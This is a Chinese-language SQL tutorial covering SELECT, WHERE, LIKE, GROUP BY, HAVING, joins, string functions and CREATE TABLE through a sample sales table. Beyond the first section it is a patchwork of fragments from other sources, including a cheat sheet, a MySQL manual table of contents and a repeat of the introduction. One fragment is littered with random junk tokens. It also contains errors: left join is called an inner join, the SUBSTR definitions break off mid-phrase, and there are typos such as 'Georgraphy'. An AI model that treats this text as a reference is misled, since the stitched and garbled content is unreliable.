无论您是一位SQL 的新手，或是一位只是需要对SQL 复习一下的资料仓储业界老将，您就来对地方了。这个SQL 教材网站列出常用的SQL 指令,包含以下几个部分：
? SQL 指令: SQL 如何被用来储存、读取、以及处理数据库之中的资料。
?表格处理: SQL 如何被用来处理数据库中的表格。
?进阶SQL: 介绍SQL 进阶概念，以及如何用SQL 来执行一些较复杂的运算。
? SQL 语法: 这一页列出所有在这个教材中被提到的SQL 语法。
对于每一个指令，我们将会先列出及解释这个指令的语法，然后用一个例子来让读者了解这个指令是如何被运用的。当您读完了这个网站的所有教材后，您将对SQL 的语法会有一个大致上的了解。另外，您将能够正确地运用SQL 来由数据库中获取信息。笔者本身的经验是，虽然要对SQL 有很透彻的了解并不是一朝一夕可以完成的，可是要对SQL 有个基本的了解并不难。希望在看完这个网站后，您也会有同样的想法。
SQL指令
SELECT
是用来做什么的呢？一个最常用的方式是将资料从数据库中的表格内选出。从这一句回答中，我们马上可以看到两个关键字：从(FROM) 数据库中的表格内选出(SELECT)。(表格是一个数据库内的结构，它的目的是储存资料。在表格处理这一部分中，我们会提到如何使用SQL 来设定表格。) 我们由这里可以看到最基本的SQL 架构：
SELECT "栏位名" FROM "表格名"
我们用以下的例子来看看实际上是怎么用的。假设我们有以下这个表格：
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
若要选出所有的店名(store_Name)，我们就打入：
SELECT store_name FROM Store_Information
结果:
store_name
Los Angeles
San Diego
Los Angeles
Boston
我们一次可以读取好几个栏位，也可以同时由好几个表格中选资料。
DISTINCT
SELECT 指令让我们能够读取表格中一个或数个栏位的所有资料。这将把所有的资料都抓出，无论资料值有无重复。在资料处理中，我们会经常碰到需要找出表格内的不同资料值的情况。换句话说，我们需要知道这个表格/栏位内有哪些不同的值，而每个值出现的次数并不重要。这要如何达成呢？在SQL 中，这是很容易做到的。我们只要在SELECT 后加上一个DISTINCT 就可以了。DISTINCT 的语法如下：
SELECT DISTINCT "栏位名"
FROM "表格名"
举例来说，若要在以下的表格，Store_Information，找出所有不同的店名时，
Store_Information 表格
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
我们就键入，
SELECT DISTINCT store_name FROM Store_Information
结果:
store_name
Los Angeles
San Diego
Boston
WHERE
我们并不一定每一次都要将表格内的资料都完全抓出。在许多时候，我们会需要选择性地抓资料。就我们的例子来说，我们可能只要抓出营业额超过$1,000 的资料。要做到这一点，我们就需要用到WHERE 这个指令。这个指令的语法如下：
SELECT "栏位名"
FROM "表格名"
WHERE "条件"
若我们要由以下的表格抓出营业额超过$1,000 的资料，
Store_Information 表格
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
我们就键入，
SELECT store_name
FROM Store_Information
WHERE Sales > 1000
结果:
store_name
Los Angeles
AND OR
在上一页中，我们看到WHERE 指令可以被用来由表格中有条件地选取资料。这个条件可能是简单的(像上一页的例子)，也可能是复杂的。复杂条件是由二或多个简单条件透过
AND 或是OR 的连接而成。一个SQL 语句中可以有无限多个简单条件的存在。
复杂条件的语法如下：
SELECT "栏位名"
FROM "表格名"
WHERE "简单条件"
{[AND|OR] "简单条件"}+
{}+ 代表{}之内的情况会发生一或多次。在这里的意思就是AND 加简单条件及OR 加简单条件的情况可以发生一或多次。另外，我们可以用() 来代表条件的先后次序。
举例来说，我们若要在Store_Information 表格中选出所有Sales 高于$1,000 或是Sales 在$500 及$275 之间的资料的话，
Store_Information 表格
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
San Francisco $300 Jan-08-1999
Boston $700 Jan-08-1999
我们就键入，
SELECT store_name
FROM Store_Information
WHERE Sales > 1000
OR (Sales < 500 AND Sales > 275)
结果:
store_name
Los Angeles
San Francisco
IN
在SQL 中，在两个情况下会用到IN 这个指令；这一页将介绍其中之一：与WHERE 有关的那一个情况。在这个用法下，我们事先已知道至少一个我们需要的值，而我们将这些知道的值都放入IN 这个子句。IN 指令的语法为下：
SELECT "栏位名"
FROM "表格名"
WHERE "栏位名" IN ('值一', '值二', ...)
在括号内可以有一或多个值，而不同值之间由逗点分开。值可以是数目或是文字。若在括号内只有一个值，那这个子句就等于
WHERE "栏位名" = '值一'
举例来说，若我们要在Store_Information 表格中找出所有含盖Los Angeles 或San Diego 的资料，
Store_Information 表格
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
San Francisco $300 Jan-08-1999
Boston $700 Jan-08-1999
我们就键入，
SELECT *
FROM Store_Information
WHERE store_name IN ('Los Angeles', 'San Diego')
结果:
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999 BETWEEN
IN 这个指令可以让我们依照一或数个不连续(discrete) 的值的限制之内抓出资料库中的值，而BETWEEN 则是让我们可以运用一个范围(range) 内抓出资料库中的值。BETWEEN 这个子句的语法如下：
SELECT "栏位名"
FROM "表格名"
WHERE "栏位名" BETWEEN '值一' AND '值二'
这将选出栏位值包含在值一及值二之间的每一笔资料。
举例来说，若我们要由Store_Information 表格中找出所有介于January 6, 1999 及January
10, 1999 中的资料，
Store_Information 表格
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
San Francisco $300 Jan-08-1999
Boston $700 Jan-08-1999
我们就键入，
SELECT *
FROM Store_Information
WHERE Date BETWEEN 'Jan-06-1999' AND 'Jan-10-1999'
请读者注意：在不同的数据库中，日期的储存法可能会有所不同。在这里我们选择了其中一种储存法。
结果:
store_name Sales Date
San Diego $250 Jan-07-1999
San Francisco $300 Jan-08-1999
Boston $700 Jan-08-1999
LIKE
LIKE 是另一个在WHERE 子句中会用到的指令。基本上，LIKE 能让我们依据一个模式(pattern) 来找出我们要的资料。相对来说，在运用IN 的时候，我们完全地知道我们需要的条件；在运用BETWEEN 的时候，我们则是列出一个范围。LIKE 的语法如下：
SELECT "栏位名"
FROM "表格名"
WHERE "栏位名" LIKE {模式}
{模式} 经常包括野卡(wildcard). 以下是几个例子：
'A_Z': 所有以'A' 起头，另一个任何值的字原，且以'Z' 为结尾的字符串。'ABZ' 和'A2Z' 都符合这一个模式，而'AKKZ' 并不符合(因为在 A 和Z 之间有两个字原，而不是一个字原)。
'ABC%': 所有以'ABC' 起头的字符串。举例来说，'ABCD' 和'ABCABC' 都符合这个模式。
'%XYZ': 所有以'XYZ' 结尾的字符串。举例来说，'WXYZ' 和'ZZXYZ' 都符合这个模式。
'%AN%': 所有含有'AN'这个模式的字符串。举例来说，'LOS ANGELES' 和'SAN FRANCISCO' 都符合这个模式。
我们将以上最后一个例子用在我们的Store_Information 表格上:
Store_Information 表格
store_name Sales Date
LOS ANGELES $1500 Jan-05-1999
SAN DIEGO $250 Jan-07-1999
SAN FRANCISCO $300 Jan-08-1999
BOSTON $700 Jan-08-1999
我们就键入，
SELECT *
FROM Store_Information
WHERE store_name LIKE '%AN%'
结果:
store_name Sales Date
LOS ANGELES $1500 Jan-05-1999
SAN FRANCISCO $300 Jan-08-1999
SAN DIEGO $250 Jan-07-1999
ORDER BY
到目前为止，我们已学到如何藉由SELECT 及WHERE 这两个指令将资料由表格中抓出。不过我们尚未提到这些资料要如何排列。这其实是一个很重要的问题。事实上，我们经常需要能够将抓出的资料做一个有系统的显示。这可能是由小往大(ascending) 或是由大往小(descending)。在这种情况下，我们就可以运用ORDER BY 这个指令来达到我们的目的。
ORDER BY 的语法如下:
SELECT "栏位名"
FROM "表格名"
[WHERE "条件"]
ORDER BY "栏位名" [ASC, DESC]
[] 代表WHERE 子句不是一定需要的。不过，如果WHERE 子句存在的话，它是在ORDER BY 子句之前。ASC 代表结果会以由小往大的顺序列出，而DESC 代表结果会以
由大往小的顺序列出。如果两者皆没有被写出的话，那我们就会用ASC。
我们可以照好几个不同的栏位来排顺序。在这个情况下，ORDER BY 子句的语法如下(假设有两个栏位)：
ORDER BY "栏位一" [ASC, DESC], "栏位二" [ASC, DESC]
若我们对这两个栏位都选择由小往大的话，那这个子句就会造成结果是依据"栏位一" 由小往大排。若有好几笔资料"栏位一" 的值相等，那这几笔资料就依据"栏位二" 由小往大排。
举例来说，若我们要依照Sales 栏位的由大往小列出Store_Information 表格中的资料，
Store_Information 表格
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
San Francisco $300 an-08-1999
Boston $700 Jan-08-1999
我们就键入，
SELECT store_name, Sales, Date
FROM Store_Information
ORDER BY Sales DESC
结果:
store_name Sales Date
Los Angeles $1500 Jan-05-1999
Boston $700 Jan-08-1999
San Francisco $300 Jan-08-1999
San Diego $250 Jan-07-1999
在以上的例子中，我们用栏位名来指定排列顺序的依据。除了栏位名外，我们也可以用栏位的顺序(依据SQL 句中的顺序)。在SELECT 后的第一个栏位为1，第二个栏位为2，以此类推。在上面这个例子中，我们用以下这句SQL 可以达到完全一样的效果：
SELECT store_name, Sales, Date
FROM Store_Information
ORDER BY 2 DESC
函数
既然数据库中有许多资料都是已数字的型态存在，一个很重要的用途就是要能够对这些数字做一些运算，例如将它们总合起来，或是找出它们的平均值。SQL 有提供一些这一类的函数。它们是：
A VG (平均)
COUNT (计数)
MAX (最大值)
MIN (最小值)
SUM (总合)
运用函数的语法是：
SELECT "函数名"("栏位名")
FROM "表格名"
举例来说，若我们要由我们的范例表格中求出Sales 栏位的总合，
Store_Information 表格
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
我们就键入，
SELECT SUM(Sales) FROM Store_Information
结果:
SUM(Sales)
$2750
$2750 代表所有Sales 栏位的总合: $1500 + $250 + $300 + $700.
除了函数的运用外，SQL 也可以做简单的数学运算，例如加(+)和减(-)。对于文字类的资料，SQL 也有好几个文字处理方面的函数，例如文字相连(concatenation)，文字修整(trim)，以及子字符串(substring)。不同的数据库对这些函数有不同的语法，所以最好是参考您所用数据库的信息，来确定在那个数据库中，这些函数是如何被运用的。
COUNT
在上一页有提到，COUNT 是函数之一。由于它的使用广泛，我们在这里特别提出来讨论。
基本上，COUNT 让我们能够数出在表格中有多少笔资料被选出来。它的语法是：
SELECT COUNT("栏位名")
FROM "表格名"
举例来说，若我们要找出我们的范例表格中有几笔store_name 栏不是空白的资料时，
Store_Information 表格
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
我们就键入，
SELECT COUNT(store_name)
FROM Store_Information
WHERE store_name is not NULL
结果:
Count(store_name)
4
"is not NULL" 是"这个栏位不是空白" 的意思。
COUNT 和DISTINCT 经常被合起来使用，目的是找出表格中有多少笔不同的资料(至于这些资料实际上是什么并不重要)。举例来说，如果我们要找出我们的表格中有多少个不同的store_name，我们就键入，
SELECT COUNT(DISTINCT store_name)
FROM Store_Information
结果:
Count(DISTINCT store_name)
3
GROUP BY
我们现在回到函数上。记得我们用SUM 这个指令来算出所有的Sales (营业额)吧！如果我们的需求变成是要算出每一间店(store_name) 的营业额(sales)，那怎么办呢？在这个情况下，我们要做到两件事：第一，我们对于store_name 及Sales 这两个栏位都要选出。第二，我们需要确认所有的sales 都要依照各个store_name 来分开算。这个语法为：
SELECT "栏位1", SUM("栏位2")
FROM "表格名"
GROUP BY "栏位1"
在我们的范例上，
Store_Information 表格
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
我们就键入，
SELECT store_name, SUM(Sales)
FROM Store_Information
GROUP BY store_name
结果:
store_name SUM(Sales)
Los Angeles $1800
San Diego $250
Boston $700
当我们选不只一个栏位，且其中至少一个栏位有包含函数的运用时，我们就需要用到GROUP BY 这个指令。在这个情况下，我们需要确定我们有GROUP BY 所有其他的栏位。换句话说，除了有包括函数的栏位外，我们都需要将其放在GROUP BY 的子句中。
HAVING
那我们如何对函数产生的值来设定条件呢？举例来说，我们可能只需要知道哪些店的营业额有超过$1,500。在这个情况下，我们不能使用WHERE 的指令。那要怎么办呢？很幸运地，SQL 有提供一个HA VING 的指令，而我们就可以用这个指令来达到这个目标。HA VING 子句通常是在一个SQL 句子的最后。一个含有HA VING 子句的SQL 并不一定要包含GROUP BY 子句。HA VING 的语法如下：
SELECT "栏位1", SUM("栏位2")
FROM "表格名"
GROUP BY "栏位1"
HA VING (函数条件)
请读者注意：如果被SELECT 的只有函数栏，那就不需要GROUP BY 子句。
在我们Store_Information 表格这个例子中,
Store_Information 表格
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
若我们要找出Sales 大于$1,500 的store_name，我们就键入，
SELECT store_name, SUM(sales)
FROM Store_Information
GROUP BY store_name
HA VING SUM(sales) > 1500
结果:
store_name SUM(Sales)
Los Angeles $1800
ALIAS
接下来，我们讨论alias (别名) 在SQL 上的用处。最常用到的别名有两种：栏位别名及表格别名。
简单地来说，栏位别名的目的是为了让SQL 产生的结果易读。在之前的例子中，每当我们
有营业额总合时，栏位名都是SUM(sales)。虽然在这个情况下没有什么问题，可是如果这个栏位不是一个简单的总合，而是一个复杂的计算，那栏位名就没有这么易懂了。若我们用栏位别名的话，就可以确认结果中的栏位名是简单易懂的。
第二种别名是表格别名。要给一个表格取一个别名，只要在FROM 子句中的表格名后空一格，然后再列出要用的表格别名就可以了。这在我们要用SQL 由数个不同的表格中获取资料时是很方便的。这一点我们在之后谈到连接(join) 时会看到。
我们先来看一下栏位别名和表格别名的语法：
SELECT "表格别名"."栏位1" "栏位别名"
FROM "表格名" "表格别名"
基本上，这两种别名都是放在它们要替代的物件后面，而它们中间由一个空白分开。我们继续使用Store_Information 这个表格来做例子：
Store_Information 表格
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
我们用跟SQL GROUP BY 那一页一样的例子。这里的不同处是我们加上了栏位别名以及表格别名：
SELECT A1.store_name Store, SUM(A1.Sales) "Total Sales"
FROM Store_Information A1
GROUP BY A1.store_name
结果:
Store Total Sales
Los Angeles $1800
San Diego $250
Boston $700
在结果中，资料本身没有不同。不同的是栏位的标题。这是运用栏位别名的结果。在第二个栏位上，原本我们的标题是"Sum(Sales)"，而现在我们有一个很清楚的"Total Sales"。很明显地，"Total Sales" 能够比"Sum(Sales)" 更精确地阐述这个栏位的含意。用表格别名的好处在这里并没有显现出来，不过这在下一页就会很清楚了。
表格链接
现在我们介绍连接(join)的概念。要了解连接，我们需要用到许多我们之前已介绍过的指令。我们先假设我们有以下的两个表格，
Store_Information 表格
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
Geography 表格
region_name store_name
East Boston
East New York
West Los Angeles
West San Diego
而我们要知道每一区(region_name) 的营业额(sales)。Geography 这个表格告诉我们每一区有哪些店，而Store_Information 告诉我们每一个店的营业额。若我们要知道每一区的营业额，我们需要将这两个不同表格中的资料串联起来。当我们仔细了解这两个表格后，我们会发现它们可经由一个相同的栏位，store_name，连接起来。我们先将SQL 句列出，之后再讨论每一个子句的意义：
SELECT A1.region_name REGION, SUM(A2.Sales) SALES
FROM Geography A1, Store_Information A2
WHERE A1.store_name = A2.store_name
GROUP BY A1.region_name
结果:
REGION SALES
East $700
West $2050
在第一行中，我们告诉SQL 去选出两个栏位：第一个栏位是Geography 表格中的region_name 栏位(我们取了一个别名叫做REGION)；第二个栏位是Store_Information 表格中的sales 栏位(别名为SALES)。请注意在这里我们有用到表格别名：Geography 表格的别名是A1，Store_Information 表格的别名是A2。若我们没有用表格别名的话，第一行就会变成
SELECT Geography.region_name REGION, SUM(Store_Information.Sales) SALES
很明显地，这就复杂多了。在这里我们可以看到表格别名的功用：它能让SQL 句容易被了解，尤其是这个SQL 句含盖好几个不同的表格时。
接下来我们看第三行，就是WHERE 子句。这是我们阐述连接条件的地方。在这里，我们要确认Geography 表格中store_name 栏位的值与Store_Information 表格中store_name 栏位的值是相等的。这个WHERE 子句是一个连接的灵魂人物，因为它的角色是确定两个表格之间的连接是正确的。如果WHERE 子句是错误的，我们就极可能得到一个笛卡儿连接(Cartesian join)。笛卡儿连接会造成我们得到所有两个表格每两行之间所有可能的组合。在这个例子中，笛卡儿连接会让我们得到4 x 4 = 16 行的结果。
外部链接
之前我们看到的左连接(left join)，又称内部连接(inner join)。在这个情况下，要两个表格内都有同样的值，那一笔资料才会被选出。那如果我们想要列出一个表格中每一笔的资料，无论它的值在另一个表格中有没有出现，那该怎么办呢？在这个时候，我们就需要用到SQL OUTER JOIN (外部连接) 的指令。
外部连接的语法是依数据库的不同而有所不同的。举例来说，在Oracle 上，我们会在WHERE 子句中要选出所有资料的那个表格之后加上一个"(+)" 来代表说这个表格中的所有资料我们都要。
假设我们有以下的两个表格：
Store_Information 表格
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
Geography 表格
region_name store_name
East Boston
East New York
West Los Angeles
West San Diego
我们需要知道每一间店的营业额。如果我们用一个普通的连接，我们将会漏失掉'New York'这个店，因为它并不存在于Store_Information 这个表格。所以，在这个情况下，我们需要用外部连接来串联这两个表格：
SELECT A1.store_name, SUM(A2.Sales) SALES
FROM Georgraphy A1, Store_Information A2
WHERE A1.store_name = A2.store_name (+)
GROUP BY A1.store_name
我们在这里是使用了Oracle 的外部连接语法。
结果:
store_name SALES
Boston $700
New York
Los Angeles $1800
San Diego $250
请注意：当第二个表格没有相对的资料时，SQL 会传回NULL 值。在这一个例子中，'New York' 并不存在于Store_Information 表格，所以它的"SALES" 栏位是NULL.
CONCATENATE
有的时候，我们有需要将由不同栏位获得的资料串连在一起。每一种数据库都有提供方法来达到这个目的：
MySQL: CONCAT()
Oracle: CONCAT(), ||
SQL Server: +
CONCA T() 的语法如下：
CONCA T(字符串1, 字符串2, 字符串3, ...): 将字符串1、字符串2、字符串3，等字符串连在一起。请注意，Oracle的CONCA T()只允许两个参数；换言之，一次只能将两个字符串串连起来。不过，在Oracle中，我们可以用'||'来一次串连多个字符串。
来看一个例子。假设我们有以下的表格：
Geography 表格
region_name store_name
East Boston
East New York
West Los Angeles
West San Diego
例子1:
MySQL/Oracle:
SELECT CONCAT(region_name,store_name) FROM Geography
WHERE store_name = 'Boston';
结果：
'EastBoston'
例子2:
Oracle:
SELECT region_name || ' ' || store_name FROM Geography
WHERE store_name = 'Boston';
结果：
'East Boston'
例子3:
SQL Server:
SELECT region_name + ' ' + store_name FROM Geography
WHERE store_name = 'Boston';
结果：
'East Boston'
SUBSTRING
SQL 中的substring 函数是用来抓出一个栏位资料中的其中一部分。这个函数的名称在不同的数据库中不完全一样：
MySQL: SUBSTR(), SUBSTRING()
Oracle: SUBSTR()
SQL Server: SUBSTRING()
最常用到的方式如下(在这里我们用SUBSTR()为例)：
SUBSTR(str,pos): 由
SUBSTR(str,pos,len): 由
假设我们有以下的表格：
Geography 表格
region_name store_name
East Boston
East New York
West Los Angeles
West San Diego
例1:
SELECT SUBSTR(store_name, 3)
FROM Geography
WHERE store_name = 'Los Angeles';
结果:
's Angeles'
例2:
SELECT SUBSTR(store_name,2,4)
FROM Geography
WHERE store_name = 'San Diego';
结果:
'an D'
TRIM
SQL 中的TRIM 函数是用来移除掉一个字符串中的字头或字尾。最常见的用途是移除字首或字尾的空白。这个函数在不同的数据库中有不同的名称：
MySQL: TRIM(), RTRIM(), LTRIM()
Oracle: RTRIM(), LTRIM()
SQL Server: RTRIM(), LTRIM()
各种trim 函数的语法如下：
TRIM([[位置] [要移除的字符串] FROM ] 字符串): [位置] 的可能值为LEADING (起头), TRAILING (结尾), or BOTH (起头及结尾)。这个函数将把[要移除的字符串] 从字符串的起头、结尾，或是起头及结尾移除。如果我们没有列出[要移除的字符串] 是什么的话，那空白就会被移除。
LTRIM(字符串): 将所有字符串起头的空白移除。
RTRIM(字符串): 将所有字符串结尾的空白移除。
例1:
SELECT TRIM(' Sample ');
结果:
'Sample'
例2:
SELECT LTRIM(' Sample ');
结果:
'Sample '
例3:
SELECT RTRIM(' Sample ');
结果:
' Sample'
表格处理
CREATE TABLE
表格是数据库中储存资料的基本架构。在绝大部份的情况下，数据库厂商不可能知道您需要如何储存您的资料，所以通常您会需要自己在数据库中建立表格。虽然许多数据库工具可以让您在不需用到SQL 的情况下建立表格，不过由于表格是一个最基本的架构，我们决定包括CREATE TABLE 的语法在这个网站中。
在我们跳入CREATE TABLE 的语法之前，我们最好先对表格这个东西有些多一点的了解。表格被分为栏位(column) 及列位(row)。每一列代表一笔资料，而每一栏代表一笔资料的一部份。举例来说，如果我们有一个记载顾客资料的表格，那栏位就有可能包括姓、名、地址、城市、国家、生日???等等。当我们对表格下定义时，我们需要注明栏位的标题，以及那个栏位的资料种类。
那，资料种类是什么呢？资料可能是以许多不同的形式存在的。它可能是一个整数(例如1)，、一个实数(例如0.55)、一个字符串(例如'sql')、一个日期/时间(例如'2000-JAN-25 03:22:22')、或甚至是以二进法(binary) 的状态存在。当我们在对一个表格下定义时，我们需要对每一个栏位的资料种类下定义。(例如'姓' 这个栏位的资料种类是char(50)──代表这是一个50 个字符的字符串)。我们需要注意的一点是不同的数据库有不同的资料种类，所以在对表格做出定义之前最好先参考一下数据库本身的说明。
CREATE TABLE 的语法是：
CREATE TABLE "表格名"
("栏位1" "栏位1 资料种类",
"栏位2" "栏位2 资料种类",
... )
若我们要建立我们上面提过的顾客表格，我们就键入以下的SQL：
CREATE TABLE customer
(First_Name char(50),
Last_Name char(50),
Address char(50),
City char(50),
Country char(25),
Birth_Date date)
常用SQL语句大全 一、基础 1、说明：创建数据库 CREATE DATABASE database-name 2、说明：删除数据库 DROP database dbname 3、说明：备份sql server --- 创建备份数据的device USE master EXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwind_1.dat' --- 开始备份 BACKUP DATABASE pubs TO testBack 4、说明：创建新表 create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..) 根据已有的表创建新表： A：create table tab_new like tab_old (使用旧表创建新表) B：create table tab_new as select col1,col2…from tab_old definition only 5、说明：删除新表 DROP table tabname 6、说明：增加一个列 Alter table tabname add column col type 注：列增加后将不能删除。DB2中列加上后数据类型也不能改变，唯一能改变的是增加varchar类型的长度。 7、说明：添加主键：Alter table tabname add primary key(col) 说明：删除主键：Alter table tabname DROP primary key(col) 8、说明：创建索引：create [unique] index idxname on tabname(col….) 删除索引：DROP index idxname 注：索引是不可更改的，想更改必须删除重新建。 9、说明：创建视图：create view viewname as select statement 删除视图：DROP view viewname 10、说明：几个简单的基本的sql语句 选择：select * from table1 where 范围 插入：insert into table1(field1,field2) values(value1,value2) 删除：delete from table1 where 范围 更新：update table1 set field1=value1 where 范围 查找：select * from table1 where field1 like ’%value1%’---like的语法很精妙，查资料! 排序：select * from table1 order by field1,field2 [desc] 总数：select count as totalcount from table1 求和：select sum(field1) as sumvalue from table1 平均：select avg(field1) as avgvalue from table1 最大：select max(field1) as maxvalue from table1 最小：select min(field1) as minvalue from table1 11、说明：几个高级查询运算词
第13章：SQL语句语法 目录 13.1. 数据定义语句 13.1.1. ALTER DATABASE语法 13.1.2. ALTER TABLE语法 13.1.3. CREATE DATABASE语法 13.1.4. CREATE INDEX语法 13.1.5. CREATE TABLE语法 13.1.6. DROP DATABASE语法 13.1.7. DROP INDEX语法 13.1.8. DROP TABLE语法 13.1.9. RENAME TABLE语法 13.2. 数据操作语句 13.2.1. DELETE语法 13.2.2. DO语法 13.2.3. HANDLER语法 13.2.4. INSERT语法 13.2.5. LOAD DATA INFILE语法 13.2.6. REPLACE语法 13.2.7. SELECT语法 13.2.8. Subquery语法 13.2.9. TRUNCATE语法 13.2.10. UPDATE语法 13.3. MySQL实用工具语句 13.3.1. DESCRIBE语法（获取有关列的信息） 13.3.2. USE语法 13.4. MySQL事务处理和锁定语句 13.4.1. START TRANSACTION, COMMIT和ROLLBACK语法 13.4.2. 不能回滚的语句 13.4.3. 会造成隐式提交的语句 13.4.4. SAVEPOINT和ROLLBACK TO SAVEPOINT语法 13.4.5. LOCK TABLES和UNLOCK TABLES语法 13.4.6. SET TRANSACTION语法 13.4.7. XA事务 13.5. 数据库管理语句 13.5.1. 账户管理语句 13.5.2. 表维护语句 13.5.3. SET语法 13.5.4. SHOW语法 13.5.5. 其它管理语句 13.6. 复制语句
1 SQL 基础教程 SQL 就是用于访问与处理数据库得标准得计算机语言。 在本教程中,您将学到如何使用 SQL 访问与处理数据系统中得数据,这类数据库包括:Oracle, Sybase, SQL Server, DB2, Access 等等。rMbjYrd。 RZAN5q3。Koh0QFg。 2 SQL 简介 SQL 就是用于访问与处理数据库得标准得计算机语言。 什么就是 SQL？ ?SQL 指结构化查询语言 ?SQL 使我们有能力访问数据库 ?SQL 就是一种 ANSI 得标准计算机语言 编者注:ANSI,美国国家标准化组织 SQL 能做什么？ ?SQL 面向数据库执行查询 ?SQL 可从数据库取回数据 ?SQL 可在数据库中插入新得记录 ?SQL 可更新数据库中得数据 ?SQL 可从数据库删除记录 ?SQL 可创建新数据库 ?SQL 可在数据库中创建新表 ?SQL 可在数据库中创建存储过程 ?SQL 可在数据库中创建视图 ?SQL 可以设置表、存储过程与视图得权限 SQL 就是一种标准 - 但就是、、、 SQL 就是一门 ANSI 得标准计算机语言,用来访问与操作数据库系统。SQL 语句用于取回与更新数据库中得数据。SQL 可与数据库程序协同工作,比如 MS Access、DB2、Informix、MS SQL Server、Oracle、Sybase 以及其她数据库系统。Bde7Dth。x1uZBAw。eomc8l0。 不幸地就是,存在着很多不同版本得 SQL 语言,但就是为了与 ANSI 标准相兼容,它们必须以相似得方式共同地来支持一些主要得关键词(比如 SELECT、UPDATE、DELETE、INSERT、WHERE 等等)。uxTiDPz。39Y8LCi。yh1Gca0。 注释:除了 SQL 标准之外,大部分 SQL 数据库程序都拥有它们自己得私有扩展！
SQL查询语句大全集锦 MYSQL查询语句大全集锦 一、简单查询 简单的Transact-SQL查询只包括选择列表、FROM子句和WHERE子句。它们分别说明所查询列、查询的 表或视图、以及搜索条件等。 例如，下面的语句查询testtable表中姓名为“张三”的nickname字段和email字段。 复制内容到剪贴板 代码:SELECT `nickname`,`email`FROM `testtable`WHERE `name`='张三' (一) 选择列表 选择列表(select_list)指出所查询列，它可以是一组列名列表、星号、表达式、变量(包括局部变量和全局变量)等构成。 1、选择所有列 例如，下面语句显示testtable表中所有列的数据： 复制内容到剪贴板 代码:SELECT * FROM testtable 2、选择部分列并指定它们的显示次序 查询结果集合中数据的排列顺序与选择列表中所指定的列名排列顺序相同。 例如： 复制内容到剪贴板 代码:SELECT nickname,email FROM testtable 3、更改列标题 在选择列表中，可重新指定列标题。定义格式为： 列标题=列名 列名列标题 如果指定的列标题不是标准的标识符格式时，应使用引号定界符，例如，下列语句使用汉字显示列 标题：
复制内容到剪贴板 代码:SELECT 昵称=nickname,电子邮件=email FROM testtable 4、删除重复行 SELECT语句中使用ALL或DISTINCT选项来显示表中符合条件的所有行或删除其中重复的数据行，默认 为ALL。使用DISTINCT选项时，对于所有重复的数据行在SELECT返回的结果集合中只保留一行。 5、限制返回的行数 使用TOP n [PERCENT]选项限制返回的数据行数，TOP n说明返回n行，而TOP n PERCENT时，说明n是 表示一百分数，指定返回的行数等于总行数的百分之几。 例如： 复制内容到剪贴板 代码:SELECT TOP 2 * FROM `testtable` 复制内容到剪贴板 代码:SELECT TOP 20 PERCENT * FROM `testtable` (二) FROM子句 FROM子句指定SELECT语句查询及与查询相关的表或视图。在FROM子句中最多可指定256个表或视图， 它们之间用逗号分隔。 在FROM子句同时指定多个表或视图时，如果选择列表中存在同名列，这时应使用对象名限定这些列 所属的表或视图。例如在usertable和citytable表中同时存在cityid列，在查询两个表中的cityid时应使用下面语句格式加以限定： 复制内容到剪贴板 代码:SELECT `username`,citytable.cityid FROM `usertable`,`citytable` WHERE usertable.cityid=citytable.cityid在FROM子句中可用以下两种格式为表或视图指定别名： 复制内容到剪贴板 代码:表名 as 别名 表名别名例如上面语句可用表的别名格式表示为： 复制内容到剪贴板
无论您是一位SQL 的新手，或是一位只是需要对SQL 复习一下的资料仓储业界老将，您就来对地方了。这个SQL 教材网站列出常用的SQL 指令,包含以下几个部分： ? SQL 指令: SQL 如何被用来储存、读取、以及处理数据库之中的资料。 ?表格处理: SQL 如何被用来处理数据库中的表格。 ?进阶SQL: 介绍SQL 进阶概念，以及如何用SQL 来执行一些较复杂的运算。 ? SQL 语法: 这一页列出所有在这个教材中被提到的SQL 语法。 对于每一个指令，我们将会先列出及解释这个指令的语法，然后用一个例子来让读者了解这个指令是如何被运用的。当您读完了这个网站的所有教材后，您将对SQL 的语法会有一个大致上的了解。另外，您将能够正确地运用SQL 来由数据库中获取信息。笔者本身的经验是，虽然要对SQL 有很透彻的了解并不是一朝一夕可以完成的，可是要对SQL 有个基本的了解并不难。希望在看完这个网站后，您也会有同样的想法。 SQL指令 SELECT 是用来做什么的呢？一个最常用的方式是将资料从数据库中的表格内选出。从这一句回答中，我们马上可以看到两个关键字：从(FROM) 数据库中的表格内选出(SELECT)。(表格是一个数据库内的结构，它的目的是储存资料。在表格处理这一部分中，我们会提到如何使用SQL 来设定表格。) 我们由这里可以看到最基本的SQL 架构： SELECT "栏位名" FROM "表格名" 